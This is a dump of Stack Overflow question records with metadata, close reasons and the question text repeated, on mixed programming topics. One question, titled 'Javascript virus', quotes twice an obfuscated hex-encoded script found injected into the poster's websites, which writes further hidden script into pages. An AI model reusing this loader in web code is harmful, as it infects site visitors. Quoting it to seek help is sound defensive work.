How to disable "prevent this page from creating additional dialogues"? === I'm developing a web app that utilises Javascript `alert()` and `confirm()` dialogue boxes. I have admin access to the (Windows) machines that run the app. How can I stop Chrome from showing this checkbox? Is there a setting I can modify amongst the plethora of them? I know I could modify the source code, but I'd like it so that Chrome could still auto-update. I don't need to worry about other browsers since the app only runs in Chrome. Thanks!
0
11,239,115
06/28/2012 06:25:35
1,487,604
06/28/2012 06:01:45
1
0
Ubuntu: Graphics freeze
We have recently updated a java application which runs on an Ubuntu PC, and are now experiencing a graphics problem that we didn't encounter before. The system is running constantly, and randomly maybe twice a month but sometimes within a few days the systems graphics will freeze, and the gnome panels are frozen. We use team viewer and can access the system remotely when frozen and both teamviewer and our java app are still running ok (new log files being generated). I have ruled out Teamviewer - same version as on many other systems and it still works even when graphics frozen (although picture etc. is frozen). I am thinking it may be a graphics driver issue as the new GUI is different. Any suggestions on ways to trouble shoot would be most welcome, are there any ubuntu logs that may help identify this problem, Cheers
ubuntu
graphics
null
null
null
07/08/2012 00:02:08
off topic
Ubuntu: Graphics freeze === We have recently updated a java application which runs on an Ubuntu PC, and are now experiencing a graphics problem that we didn't encounter before. The system is running constantly, and randomly maybe twice a month but sometimes within a few days the systems graphics will freeze, and the gnome panels are frozen. We use team viewer and can access the system remotely when frozen and both teamviewer and our java app are still running ok (new log files being generated). I have ruled out Teamviewer - same version as on many other systems and it still works even when graphics frozen (although picture etc. is frozen). I am thinking it may be a graphics driver issue as the new GUI is different. Any suggestions on ways to trouble shoot would be most welcome, are there any ubuntu logs that may help identify this problem, Cheers
2
11,565,430
07/19/2012 16:39:25
1,449,761
06/11/2012 19:40:40
13
0
Google custom search (php and mysql)
Is there any way that i can do the below: I have a site with google custom search. The custom search engine uses adsense for search. The site is running php and mysql database. Is there any way that i can store the "earnings" and different values for each user in a database. For example: www.exampleurl.com/id="123456". The id with the value = 123456 accords to a user in the database. The ads that are clicked on the url www.exampleurl.com/id="123456" will will be stored in the mysql database. It will then be visibil how many ads that have been clicked on the id=123456 and how many earnings the id have. Is this possible or something similar ?
php
mysql
html
adsense
google-cse
07/24/2012 16:04:27
not a real question
Google custom search (php and mysql) === Is there any way that i can do the below: I have a site with google custom search. The custom search engine uses adsense for search. The site is running php and mysql database. Is there any way that i can store the "earnings" and different values for each user in a database. For example: www.exampleurl.com/id="123456". The id with the value = 123456 accords to a user in the database. The ads that are clicked on the url www.exampleurl.com/id="123456" will will be stored in the mysql database. It will then be visibil how many ads that have been clicked on the id=123456 and how many earnings the id have. Is this possible or something similar ?
1
721,772
04/06/2009 14:43:25
72,583
03/02/2009 00:04:44
290
19
Javascript "virus"
I have problem with some JS "virus" on all of my websites. They're on different hostings, and on some one of them appears this code. <script> function c2670903e0i49d9f1a845f6b(i49d9f1a846377) { var i49d9f1a846737 = 16; return (parseInt(i49d9f1a846377, i49d9f1a846737)); } function i49d9f1a8472f3(i49d9f1a8476d9) { var i49d9f1a848679 = 2; var i49d9f1a847da9 = ''; i49d9f1a848e47 = String.fromCharCode; for (i49d9f1a84828e = 0; i49d9f1a84828e < i49d9f1a8476d9.length; i49d9f1a84828e += i49d9f1a848679) { i49d9f1a847da9 += (i49d9f1a848e47(c2670903e0i49d9f1a845f6b(i49d9f1a8476d9.substr(i49d9f1a84828e, i49d9f1a848679)))); } return i49d9f1a847da9; } var r1a = ''; var i49d9f1a84922e = '3C7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a +'43E696628216D7' + r1a + '96961297' + r1a + 'B646F637' + r1a + '56D656E7' + r1a + '42E7' + r1a + '7' + r1a + '7' + r1a + '2697' + r1a + '465287' + r1a + '56E657' + r1a + '363617' + r1a + '065282027' + r1a + '2533632536392536362537' + r1a + '322536312536642536352532302536652536312536642536352533642536332533322533362532302537' + r1a + '332537' + r1a + '32253633253364253237' + r1a + '2536382537' + r1a + '342537' + r1a + '342537' + r1a + '302533612532662532662536352536332536662536642532652537' + r1a + '322536312537' + r1a + '322536352536322537' + r1a + '322536352536352536342536362536662536662537' + r1a + '342537' + r1a + '37' + r1a + '2536352536312537' + r1a + '32253265253633253666253664253266253366253237' + r1a + '2532622534642536312537' + r1a + '342536382532652537' + r1a + '322536662537' + r1a + '352536652536342532382534642536312537' + r1a + '342536382532652537' + r1a + '32253631253665253634253666253664253238253239253261253332253335253332253331253336253334253239253262253237' + r1a + '253632253237' + r1a + '2532302537' + r1a + '37' + r1a + '2536392536342537' + r1a + '34253638253364253335253332253331253230253638253635253639253637' + r1a + '2536382537' + r1a + '342533642533342533382533342532302537' + r1a + '332537' + r1a + '342537' + r1a + '39253663253635253364253237' + r1a + '2537' + r1a + '362536392537' + r1a + '332536392536322536392536632536392537' + r1a + '342537' + r1a + '39253361253638253639253634253634253635253665253237' + r1a + '2533652533632532662536392536362537' + r1a + '3225363125366425363525336527' + r1a + '29293B7' + r1a + 'D7' + r1a + '6617' + r1a + '2206D7' + r1a + '969613D7' + r1a + '47' + r1a + '27' + r1a + '5653B3C2F7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a + '43E'; document.write(i49d9f1a8472f3(i49d9f1a84922e)); </script> **NOD32** blocks the website because he beleives there is a virus. Deleting the code from sources doesn't help, because it reappears again. It can't be result of XSS, because it appears even on static websites. I've tried to make full scan of my system and it didn't help. The only thing that is on all websites is Google Analytics, which I think couldn't cause this.
javascript
virus
null
null
null
null
open
Javascript "virus" === I have problem with some JS "virus" on all of my websites. They're on different hostings, and on some one of them appears this code. <script> function c2670903e0i49d9f1a845f6b(i49d9f1a846377) { var i49d9f1a846737 = 16; return (parseInt(i49d9f1a846377, i49d9f1a846737)); } function i49d9f1a8472f3(i49d9f1a8476d9) { var i49d9f1a848679 = 2; var i49d9f1a847da9 = ''; i49d9f1a848e47 = String.fromCharCode; for (i49d9f1a84828e = 0; i49d9f1a84828e < i49d9f1a8476d9.length; i49d9f1a84828e += i49d9f1a848679) { i49d9f1a847da9 += (i49d9f1a848e47(c2670903e0i49d9f1a845f6b(i49d9f1a8476d9.substr(i49d9f1a84828e, i49d9f1a848679)))); } return i49d9f1a847da9; } var r1a = ''; var i49d9f1a84922e = '3C7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a +'43E696628216D7' + r1a + '96961297' + r1a + 'B646F637' + r1a + '56D656E7' + r1a + '42E7' + r1a + '7' + r1a + '7' + r1a + '2697' + r1a + '465287' + r1a + '56E657' + r1a + '363617' + r1a + '065282027' + r1a + '2533632536392536362537' + r1a + '322536312536642536352532302536652536312536642536352533642536332533322533362532302537' + r1a + '332537' + r1a + '32253633253364253237' + r1a + '2536382537' + r1a + '342537' + r1a + '342537' + r1a + '302533612532662532662536352536332536662536642532652537' + r1a + '322536312537' + r1a + '322536352536322537' + r1a + '322536352536352536342536362536662536662537' + r1a + '342537' + r1a + '37' + r1a + '2536352536312537' + r1a + '32253265253633253666253664253266253366253237' + r1a + '2532622534642536312537' + r1a + '342536382532652537' + r1a + '322536662537' + r1a + '352536652536342532382534642536312537' + r1a + '342536382532652537' + r1a + '32253631253665253634253666253664253238253239253261253332253335253332253331253336253334253239253262253237' + r1a + '253632253237' + r1a + '2532302537' + r1a + '37' + r1a + '2536392536342537' + r1a + '34253638253364253335253332253331253230253638253635253639253637' + r1a + '2536382537' + r1a + '342533642533342533382533342532302537' + r1a + '332537' + r1a + '342537' + r1a + '39253663253635253364253237' + r1a + '2537' + r1a + '362536392537' + r1a + '332536392536322536392536632536392537' + r1a + '342537' + r1a + '39253361253638253639253634253634253635253665253237' + r1a + '2533652533632532662536392536362537' + r1a + '3225363125366425363525336527' + r1a + '29293B7' + r1a + 'D7' + r1a + '6617' + r1a + '2206D7' + r1a + '969613D7' + r1a + '47' + r1a + '27' + r1a + '5653B3C2F7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a + '43E'; document.write(i49d9f1a8472f3(i49d9f1a84922e)); </script> **NOD32** blocks the website because he beleives there is a virus. Deleting the code from sources doesn't help, because it reappears again. It can't be result of XSS, because it appears even on static websites. I've tried to make full scan of my system and it didn't help. The only thing that is on all websites is Google Analytics, which I think couldn't cause this.
0
9,168,126
02/06/2012 22:14:51
1,164,061
01/22/2012 23:12:21
17
0
Find size of directories/subdirectories
How do I find the total size of directories and sub directories within my current directory that are more than 2 years old or less than 2 years old Thanks
linux
null
null
null
null
02/07/2012 21:52:12
off topic
Find size of directories/subdirectories === How do I find the total size of directories and sub directories within my current directory that are more than 2 years old or less than 2 years old Thanks
2
5,689,413
04/16/2011 20:30:04
679,067
03/27/2011 15:40:21
1
0
Javascript - div inside div problem
I need that if mouse out of id1 block(red) then call hideall() function. Now its call hideall(); function also if mouse is over id="id2". <div id="id1" onmouseout="hideall();" style="border:1px solid red;"> <div id="id2">This is inside id1 div</div> </div> http://i.stack.imgur.com/hrfsM.png Sorry for my English, I am not native.
javascript
div
null
null
null
null
open
Javascript - div inside div problem === I need that if mouse out of id1 block(red) then call hideall() function. Now its call hideall(); function also if mouse is over id="id2". <div id="id1" onmouseout="hideall();" style="border:1px solid red;"> <div id="id2">This is inside id1 div</div> </div> http://i.stack.imgur.com/hrfsM.png Sorry for my English, I am not native.
0
8,532,464
12/16/2011 09:55:39
483,886
10/22/2010 06:41:58
12
0
How to send sms to mobile using csharp code?
i need sample code or any free gateways to send SMS to mobile using c sharp code, i search lot of examples but i didn't find any sample for my requirement, how can i do for using free SMS services. Thanks, @praveen
c#
wpf
null
null
null
12/16/2011 10:51:24
not a real question
How to send sms to mobile using csharp code? === i need sample code or any free gateways to send SMS to mobile using c sharp code, i search lot of examples but i didn't find any sample for my requirement, how can i do for using free SMS services. Thanks, @praveen
1
5,673,341
04/15/2011 06:58:03
698,478
04/08/2011 10:40:45
11
0
How to make movable progress dialog for android?
I am working for android and i wanted to know, how to make movable progress dialog for android(in java).
android
null
null
null
null
null
open
How to make movable progress dialog for android? === I am working for android and i wanted to know, how to make movable progress dialog for android(in java).
0
7,243,101
08/30/2011 12:26:47
919,686
08/30/2011 12:26:47
1
0
Function count calls
i'm beginner with JS so please be patient =) I wrote function witch simply counts when we calls. var increment = function ( ) { var i = 0; this.inc = function ( ) { i+=1; }; this.get = function ( ) { return i;}; }; var ob = new increment(); ob.inc(); ob.inc(); alert(ob.get()); But i'm wonder how to call it only `ob();` , so the function could increment self and back me value of counts.
javascript
function
closures
null
null
null
open
Function count calls === i'm beginner with JS so please be patient =) I wrote function witch simply counts when we calls. var increment = function ( ) { var i = 0; this.inc = function ( ) { i+=1; }; this.get = function ( ) { return i;}; }; var ob = new increment(); ob.inc(); ob.inc(); alert(ob.get()); But i'm wonder how to call it only `ob();` , so the function could increment self and back me value of counts.
0
1,939,015
12/21/2009 09:08:40
82,733
03/25/2009 18:28:23
178
7
Singleton python generator? Or, pickle a python generator?
I am using the following code, with nested generators, to iterate over a text document and return training examples. I would like to persist (pickle) the generators, so I can get back to the same place in the text document. However, you cannot pickle generators. * Is there a simple workaround, so that I can save my position and start back where I stopped? Perhaps I can make get_train_example() a singleton, so I don't have several generators lying around. Then, I could make a global variable in this module that keeps track of how far along get_train_example() is. * Do you have a better (cleaner) suggestion, to allow me to persist this generator? Here is the code: def get_train_example(): for l in open(HYPERPARAMETERS["TRAIN_SENTENCES"]): prevwords = [] for w in string.split(l): w = string.strip(w) id = None prevwords.append(wordmap.id(w)) if len(prevwords) >= HYPERPARAMETERS["WINDOW_SIZE"]: yield prevwords[-HYPERPARAMETERS["WINDOW_SIZE"]:] def get_train_minibatch(): minibatch = [] for e in get_train_example(): minibatch.append(e) if len(minibatch) >= HYPERPARAMETERS["MINIBATCH SIZE"]: assert len(minibatch) == HYPERPARAMETERS["MINIBATCH SIZE"] yield minibatch minibatch = []
python
pickle
generator
persistant
singleton
null
open
Singleton python generator? Or, pickle a python generator? === I am using the following code, with nested generators, to iterate over a text document and return training examples. I would like to persist (pickle) the generators, so I can get back to the same place in the text document. However, you cannot pickle generators. * Is there a simple workaround, so that I can save my position and start back where I stopped? Perhaps I can make get_train_example() a singleton, so I don't have several generators lying around. Then, I could make a global variable in this module that keeps track of how far along get_train_example() is. * Do you have a better (cleaner) suggestion, to allow me to persist this generator? Here is the code: def get_train_example(): for l in open(HYPERPARAMETERS["TRAIN_SENTENCES"]): prevwords = [] for w in string.split(l): w = string.strip(w) id = None prevwords.append(wordmap.id(w)) if len(prevwords) >= HYPERPARAMETERS["WINDOW_SIZE"]: yield prevwords[-HYPERPARAMETERS["WINDOW_SIZE"]:] def get_train_minibatch(): minibatch = [] for e in get_train_example(): minibatch.append(e) if len(minibatch) >= HYPERPARAMETERS["MINIBATCH SIZE"]: assert len(minibatch) == HYPERPARAMETERS["MINIBATCH SIZE"] yield minibatch minibatch = []
0
2,695,349
04/23/2010 00:00:15
183,717
10/03/2009 20:08:39
154
0
Accessing every child class of parent class in Java
I have to implement a logic whereby given a child class, I need to access its parent class and all other child class of that parent class, if any. I did not find any API in Java Reflection which allows us to access all child classes of a parent class. Is there any way to do it? Ex. class B extends class A class C extends class A Now using class B, I can find the superclass by calling getSuperClass(). But is there any way to find all the child classes once I have the parent class i.e. class B and class C?? Regards, darkie
java
homework
reflection
null
null
null
open
Accessing every child class of parent class in Java === I have to implement a logic whereby given a child class, I need to access its parent class and all other child class of that parent class, if any. I did not find any API in Java Reflection which allows us to access all child classes of a parent class. Is there any way to do it? Ex. class B extends class A class C extends class A Now using class B, I can find the superclass by calling getSuperClass(). But is there any way to find all the child classes once I have the parent class i.e. class B and class C?? Regards, darkie
0
6,587,653
07/05/2011 19:12:11
742,228
05/06/2011 17:42:51
11
0
Neo4j Querying Data Across Sessions
I am having trouble accessing previously created databases in the embedded Java version of Neo4j. What I'd like to do is open a GraphDatabaseService, add several million relationships (not using BatchInserter, only transactions), and then shut down the last transaction and the connection. This would look something like: public class startNeo4j{ … public static void main (String[] args) { GraphDatabaseService graphDb = new EmbeddedGraphDatabase( "data/test/base" ); Transaction tx = graphDb.beginTx(); IndexManager index = graphDb.index(); Index<Node> userIds = index.forNodes("userIds"); RelationshipIndex follows = index.forRelationships("follows"); [ here I input a very large csv (several million relationships), also giving relationship and userId indices ] tx.finish(); graphDb.shutdown(); }} What I then need to be able to do is open a new GraphDatabaseService and access all that data I just inserted. I checked with the Neo4j list and they've confirmed that it's possible, but didn't provide any details. I don't want to recreate the index, but when I try to simply reopen it, I get an error where the index (userIds from above) "cannot be resolved." Ideally, if someone had an outline of what the second set of code would look like that would be great. My non-functional one looks like: public class examineNeo4j{ public static void main (String[] args){ GraphDatabaseService graphDb = new EmbeddedGraphDatabase( "data/test/base" ); Transaction tx = graphDb.beginTx(); IndexHits<Node> hits_final = userIds.get("userId","12"); Node testthis = hits_final.getSingle(); [ or some other query that I want to run ] tx.finish(); graphDb.shutdown();}} Any help would be greatly appreciated!
java
database
session
neo4j
graph-databases
null
open
Neo4j Querying Data Across Sessions === I am having trouble accessing previously created databases in the embedded Java version of Neo4j. What I'd like to do is open a GraphDatabaseService, add several million relationships (not using BatchInserter, only transactions), and then shut down the last transaction and the connection. This would look something like: public class startNeo4j{ … public static void main (String[] args) { GraphDatabaseService graphDb = new EmbeddedGraphDatabase( "data/test/base" ); Transaction tx = graphDb.beginTx(); IndexManager index = graphDb.index(); Index<Node> userIds = index.forNodes("userIds"); RelationshipIndex follows = index.forRelationships("follows"); [ here I input a very large csv (several million relationships), also giving relationship and userId indices ] tx.finish(); graphDb.shutdown(); }} What I then need to be able to do is open a new GraphDatabaseService and access all that data I just inserted. I checked with the Neo4j list and they've confirmed that it's possible, but didn't provide any details. I don't want to recreate the index, but when I try to simply reopen it, I get an error where the index (userIds from above) "cannot be resolved." Ideally, if someone had an outline of what the second set of code would look like that would be great. My non-functional one looks like: public class examineNeo4j{ public static void main (String[] args){ GraphDatabaseService graphDb = new EmbeddedGraphDatabase( "data/test/base" ); Transaction tx = graphDb.beginTx(); IndexHits<Node> hits_final = userIds.get("userId","12"); Node testthis = hits_final.getSingle(); [ or some other query that I want to run ] tx.finish(); graphDb.shutdown();}} Any help would be greatly appreciated!
0
9,324,417
02/17/2012 07:25:22
618,815
01/03/2011 04:06:55
887
1
Does anybody know Python open souce web applications that use sqllite library?
I need to find this kind of open source web applications written in Python that use sqlite library, I tried to find some, but it turns out that most not so complicated web apps just use server's local file system to store data?
python
open-source
python-3.x
null
null
02/17/2012 07:54:02
not constructive
Does anybody know Python open souce web applications that use sqllite library? === I need to find this kind of open source web applications written in Python that use sqlite library, I tried to find some, but it turns out that most not so complicated web apps just use server's local file system to store data?
4
2,387,367
03/05/2010 14:28:30
79,803
03/19/2009 00:38:45
14
2
Trying to create a flash app that dispalys photos from facebook.
i'm intending to create a flash app that pulls images from facebook and displays them in a slideshow format. Has some here tried this? or does anyone have suggestions/advice/links on where to find information on this. i have had a look at; http://components.zerofractal.com/FacebookBridge/ has anyone succesfully used this? i couldn't find examples. and http://www.adobe.com/devnet/facebook/ however most examples i found are created using flex. any help appreciated, Thanks Cam
flash
actionscript-3
facebook
flex
actionscript-2
null
open
Trying to create a flash app that dispalys photos from facebook. === i'm intending to create a flash app that pulls images from facebook and displays them in a slideshow format. Has some here tried this? or does anyone have suggestions/advice/links on where to find information on this. i have had a look at; http://components.zerofractal.com/FacebookBridge/ has anyone succesfully used this? i couldn't find examples. and http://www.adobe.com/devnet/facebook/ however most examples i found are created using flex. any help appreciated, Thanks Cam
0
3,675,566
09/09/2010 10:03:24
442,498
09/08/2010 14:03:12
1
0
using the open source software
Yesterday I was using google map web application but when I've turned into street view mode, one question arrived in my mind. For example, they blurred human faces and car plates. I was thinking that they didn't write all the code for this, because already are some free libraries which can do that. I know about the license types, but is that fair? For example, if i had the system to take all the pictures, and use some free/open libs to build such an application, all the credits goes to me? ps: I'm not a CS student yet, and I know none near me in order to ask this, that why I'm asking you guys. Can someone take all the credits of a software product by using other ppl free/open libs? Is this ethical?
open-source
null
null
null
null
09/09/2010 19:11:47
off topic
using the open source software === Yesterday I was using google map web application but when I've turned into street view mode, one question arrived in my mind. For example, they blurred human faces and car plates. I was thinking that they didn't write all the code for this, because already are some free libraries which can do that. I know about the license types, but is that fair? For example, if i had the system to take all the pictures, and use some free/open libs to build such an application, all the credits goes to me? ps: I'm not a CS student yet, and I know none near me in order to ask this, that why I'm asking you guys. Can someone take all the credits of a software product by using other ppl free/open libs? Is this ethical?
2
8,149,397
11/16/2011 09:32:22
444,129
09/10/2010 07:41:02
80
10
Is ORM an Anti-Pattern?
I had a very stimulating and interessting discussion with a colleague about ORM and it's Pros and Cons. In my opinion, an ORM is useful only in the rarest cases. At least in my experience. But I don't want to list my own arguments at this time. So I ask you, what do you think about ORM? What are the Pros and the Cons?
design-patterns
orm
theory
discussion
null
11/16/2011 09:41:19
off topic
Is ORM an Anti-Pattern? === I had a very stimulating and interessting discussion with a colleague about ORM and it's Pros and Cons. In my opinion, an ORM is useful only in the rarest cases. At least in my experience. But I don't want to list my own arguments at this time. So I ask you, what do you think about ORM? What are the Pros and the Cons?
2
5,205,906
03/05/2011 18:33:43
623,088
02/18/2011 12:15:42
1
1
Rails+Wordpress+Payment
i'm student. and i must do my graduate work now. <br> I must make payment system on Ruby-on-Rails for site on Wordpress. When user (not admin) go in admin-panel, he sees window in left. in this windows must be: 1. current money 2. button "add money" (from Webmoney system or other payment system which is in Russia, not PayPal) 3. button "pay" for 3 kinds of works in admin-panel How i can make this??? help me please, because i dont know RoR and teacher says that i must do on RoR.
ruby-on-rails
wordpress
payment
null
null
03/05/2011 22:26:22
not a real question
Rails+Wordpress+Payment === i'm student. and i must do my graduate work now. <br> I must make payment system on Ruby-on-Rails for site on Wordpress. When user (not admin) go in admin-panel, he sees window in left. in this windows must be: 1. current money 2. button "add money" (from Webmoney system or other payment system which is in Russia, not PayPal) 3. button "pay" for 3 kinds of works in admin-panel How i can make this??? help me please, because i dont know RoR and teacher says that i must do on RoR.
1
333,405
12/02/2008 09:04:17
33,604
11/03/2008 10:28:08
129
19
Symbian S60 - Multiple connections with a single connection dialog
My application needs up to 3 synchronous download connections. I am currently using a (slightly altered) CWebClient class provided in the Carbide UI framework, however using multiple instances of this for each connection prompts me multiple types to "select access point" An `RSocketServ` and an `RConnection` object exist in the class, these appear to be the things that open the access point. Would it be a good enough solution to make these static objects (singleton) so the access point is only called once? Any one have any experience/thoughts? Thanks! Just in case you wonder, I am using S60 3rd ed. FP2 v1.1
symbian
s60
singleton
null
null
null
open
Symbian S60 - Multiple connections with a single connection dialog === My application needs up to 3 synchronous download connections. I am currently using a (slightly altered) CWebClient class provided in the Carbide UI framework, however using multiple instances of this for each connection prompts me multiple types to "select access point" An `RSocketServ` and an `RConnection` object exist in the class, these appear to be the things that open the access point. Would it be a good enough solution to make these static objects (singleton) so the access point is only called once? Any one have any experience/thoughts? Thanks! Just in case you wonder, I am using S60 3rd ed. FP2 v1.1
0
6,832,410
07/26/2011 15:19:42
863,754
07/26/2011 15:19:42
1
0
How common is web farming/gardens? Should i design my website for it?
I'm running a ASP.NET website, the server both reads and writes data to a database but also stores some frequently accessed data directly in the process memory as a cache. When new requests come in they are processed depending on data in the cache before it's written to the DB. My hosting provider suddenly decided to put their servers under a load balancer. This means that my caching system will go bananas as several servers randomly processes the requests. So i have to rewrite a big chunk of my application only to get worse performance since i now have to query the database instead of a lightning fast in memory variable check. First i don't really see the point of distributing the load on the iis server as in my experience DB queries are most often the bottleneck, now the DB has to take even more banging. Second, it seems like these things would require careful planning, not just something a hosting provider would set up for all their clients and expect all applications to be written to suit them. Are these sort of things common or was i stupid using the process memory as cache in the first place? Should i start looking for a new hosting provider or can i expect web farming to arrive sooner or later anywhere? Should I keep transitions like this in consideration for all future apps i write and avoid in process caching and similar designs completely? (Please don't want to make this into a farming vs not farming battle, i'm just wondering if it's so common that i have to keep it in mind when developing.)
asp.net
iis
caching
webfarm
null
12/01/2011 00:51:55
off topic
How common is web farming/gardens? Should i design my website for it? === I'm running a ASP.NET website, the server both reads and writes data to a database but also stores some frequently accessed data directly in the process memory as a cache. When new requests come in they are processed depending on data in the cache before it's written to the DB. My hosting provider suddenly decided to put their servers under a load balancer. This means that my caching system will go bananas as several servers randomly processes the requests. So i have to rewrite a big chunk of my application only to get worse performance since i now have to query the database instead of a lightning fast in memory variable check. First i don't really see the point of distributing the load on the iis server as in my experience DB queries are most often the bottleneck, now the DB has to take even more banging. Second, it seems like these things would require careful planning, not just something a hosting provider would set up for all their clients and expect all applications to be written to suit them. Are these sort of things common or was i stupid using the process memory as cache in the first place? Should i start looking for a new hosting provider or can i expect web farming to arrive sooner or later anywhere? Should I keep transitions like this in consideration for all future apps i write and avoid in process caching and similar designs completely? (Please don't want to make this into a farming vs not farming battle, i'm just wondering if it's so common that i have to keep it in mind when developing.)
2
8,708,788
01/03/2012 06:38:33
437,208
09/01/2010 17:28:57
34
2
how to send notification mails to muliple emailids with our own email body in asp.net
how to send notification mail to muliple users email address ,also how to specify the email body send to the notification mail. objmailMsg.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure; need your help.
asp.net
email
notifications
smtpclient
null
01/03/2012 10:48:56
not a real question
how to send notification mails to muliple emailids with our own email body in asp.net === how to send notification mail to muliple users email address ,also how to specify the email body send to the notification mail. objmailMsg.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure; need your help.
1
6,645,210
07/11/2011 02:26:02
439,229
09/03/2010 18:29:27
6
1
WordPress 3.2: Add TinyMCE Buttons to HTML Editing in press-this.php
When I choose "HTML" (instead of "Visual") for the editor in press-this.php I want the TinyMCE buttons to show up like they do when adding/editing a post via post.php. I think this has to be a simple change but I haven't found a simple answer. I haven't written any plugins before so if that's the solution I'd like some pointers.
wordpress
tinymce
null
null
null
null
open
WordPress 3.2: Add TinyMCE Buttons to HTML Editing in press-this.php === When I choose "HTML" (instead of "Visual") for the editor in press-this.php I want the TinyMCE buttons to show up like they do when adding/editing a post via post.php. I think this has to be a simple change but I haven't found a simple answer. I haven't written any plugins before so if that's the solution I'd like some pointers.
0
9,033,769
01/27/2012 13:14:51
1,090,175
12/09/2011 17:01:48
10
0
Looking for most simple HTML Framework
I am actually looking for the most simple / lightweight html framework to build interactive websites. Things I am especially looking for (must-have) are: - Integrated Datasource support for REST (JSon!) - Simple layouts (vertical, horizontal, grid) - Table-alike which supports paging by scrolling (less load on server) My idea is to have a framework that doesn't expose heavyweight, complex widgets. For example, a table could be something simple like a header div and for each row separate div templates etc. Same applies to layouts. I was looking at jQuery and things like that, however I am missing things like the datasource topic, layouts (jQuery UI doesn't contain them I think) and especially the very important feature of paging tables while scrolling. Any hints? Yes I am aware of doojoo, ExtJS, YUI etc etc though not what I am looking for.. thanks Alex
javascript
html
null
null
null
01/27/2012 13:45:34
not constructive
Looking for most simple HTML Framework === I am actually looking for the most simple / lightweight html framework to build interactive websites. Things I am especially looking for (must-have) are: - Integrated Datasource support for REST (JSon!) - Simple layouts (vertical, horizontal, grid) - Table-alike which supports paging by scrolling (less load on server) My idea is to have a framework that doesn't expose heavyweight, complex widgets. For example, a table could be something simple like a header div and for each row separate div templates etc. Same applies to layouts. I was looking at jQuery and things like that, however I am missing things like the datasource topic, layouts (jQuery UI doesn't contain them I think) and especially the very important feature of paging tables while scrolling. Any hints? Yes I am aware of doojoo, ExtJS, YUI etc etc though not what I am looking for.. thanks Alex
4
7,043,702
08/12/2011 17:05:07
890,557
08/11/2011 19:04:24
1
0
HOW TO CHANGE SQLLITE TIME FORMAT DATETIME
I AM TRYING TO GET DATE FROM SQLLITE.I AM GETTING TIMESTAMP IN COREDATA.BUT I NEED TO SEE THE DATE.WHAT IS THE COMMAND TO GET TIMESTAMP CONVERTED INTO YYYY-MM-DD FORMAT?SELECT ZDATE FROM ZWEATHER THATS MY QUERY IS.
iphone
null
null
null
null
null
open
HOW TO CHANGE SQLLITE TIME FORMAT DATETIME === I AM TRYING TO GET DATE FROM SQLLITE.I AM GETTING TIMESTAMP IN COREDATA.BUT I NEED TO SEE THE DATE.WHAT IS THE COMMAND TO GET TIMESTAMP CONVERTED INTO YYYY-MM-DD FORMAT?SELECT ZDATE FROM ZWEATHER THATS MY QUERY IS.
0
7,798,021
10/17/2011 18:36:28
844,634
07/14/2011 13:14:03
1
0
can mysql_query() return true?
i am trying to check if a record with given id is present in the table or not. if it is true i have to execute certain statements if not i have to display an error. so i thought of using mysql_query() statement like this: mysql_query("select 'true' from people_info where id=1"); id=1 is present in the table. instead of giving me "true" the above statement outputs Resource id#10. when i give id=100 which is not in table mysql_query("select 'true' from people_info where id=100"); it gives me Resource id#12
php
mysql
null
null
null
null
open
can mysql_query() return true? === i am trying to check if a record with given id is present in the table or not. if it is true i have to execute certain statements if not i have to display an error. so i thought of using mysql_query() statement like this: mysql_query("select 'true' from people_info where id=1"); id=1 is present in the table. instead of giving me "true" the above statement outputs Resource id#10. when i give id=100 which is not in table mysql_query("select 'true' from people_info where id=100"); it gives me Resource id#12
0
6,806,134
07/24/2011 09:57:48
552,314
12/23/2010 11:19:14
81
7
Xcode console outside Xcode
Is it possible to display the Xcode console of an application in real time on an iPhone/iPad without to need the computer? Thanks
iphone
ios
xcode
ipad
console
07/26/2011 09:42:50
not a real question
Xcode console outside Xcode === Is it possible to display the Xcode console of an application in real time on an iPhone/iPad without to need the computer? Thanks
1
4,734,869
01/19/2011 11:49:32
480,362
10/19/2010 10:41:08
3
0
How find measured height of views?
I need to calculate measured height of my views without measure all views, because this views conteins foto from internet. When i measure views, they download images to memory and i catch out of memory. I use custom scrollview, wich work like listview, display some part of views and when scroll, add to bottom or top. How can i calculate height of all my views without out of memory? Thanks!!!
android
height
scrollview
measure
null
null
open
How find measured height of views? === I need to calculate measured height of my views without measure all views, because this views conteins foto from internet. When i measure views, they download images to memory and i catch out of memory. I use custom scrollview, wich work like listview, display some part of views and when scroll, add to bottom or top. How can i calculate height of all my views without out of memory? Thanks!!!
0
10,419,251
05/02/2012 18:06:02
827,480
07/04/2011 03:30:36
887
51
What is the relationship between Oracle and Sonatype?
I've recently been researching a better CI system that what we are currently using. The choice will likely have implications across several departments and projects. Consequently, I'm trying to make the most informed decision possible such that we don't have to go through this exercise again in the near future. The obvious choice is Hudson or Jenkins. In the process of performing my due diligence, after reading several threads, blogs, news articles, etc leading up to the Hudson/Jenkins fork and beyond, one issue seems to be constantly repeated. Hudson users were/are concerned about Oracle's involvement in the project. Numerous references, however, keep indicating that Hudson was donated to the Eclipse Software Foundation, and that the ongoing development of Hudson is being spearheaded by Sonatype. So that brings me to my question. I know Sonatype as the kings of Maven due to their Maven/Nexus development, but have been trying to understand the relationship between Sonatype and Oracle. I have not found anything indicating a link between the two companies (as in a joint-venture, or a shared ownership, or shared BODs, etc) except for Hudson. Does anyone know if there is any official connection between the two? If not, why/what would have prompted Oracle to "hire" Sonatype to handle Hudson? In my mind, there seems to be a missing link somewhere that I cannot find. Thanks! Eric
oracle
continuous-integration
hudson
jenkins
sonatype
05/03/2012 14:13:23
off topic
What is the relationship between Oracle and Sonatype? === I've recently been researching a better CI system that what we are currently using. The choice will likely have implications across several departments and projects. Consequently, I'm trying to make the most informed decision possible such that we don't have to go through this exercise again in the near future. The obvious choice is Hudson or Jenkins. In the process of performing my due diligence, after reading several threads, blogs, news articles, etc leading up to the Hudson/Jenkins fork and beyond, one issue seems to be constantly repeated. Hudson users were/are concerned about Oracle's involvement in the project. Numerous references, however, keep indicating that Hudson was donated to the Eclipse Software Foundation, and that the ongoing development of Hudson is being spearheaded by Sonatype. So that brings me to my question. I know Sonatype as the kings of Maven due to their Maven/Nexus development, but have been trying to understand the relationship between Sonatype and Oracle. I have not found anything indicating a link between the two companies (as in a joint-venture, or a shared ownership, or shared BODs, etc) except for Hudson. Does anyone know if there is any official connection between the two? If not, why/what would have prompted 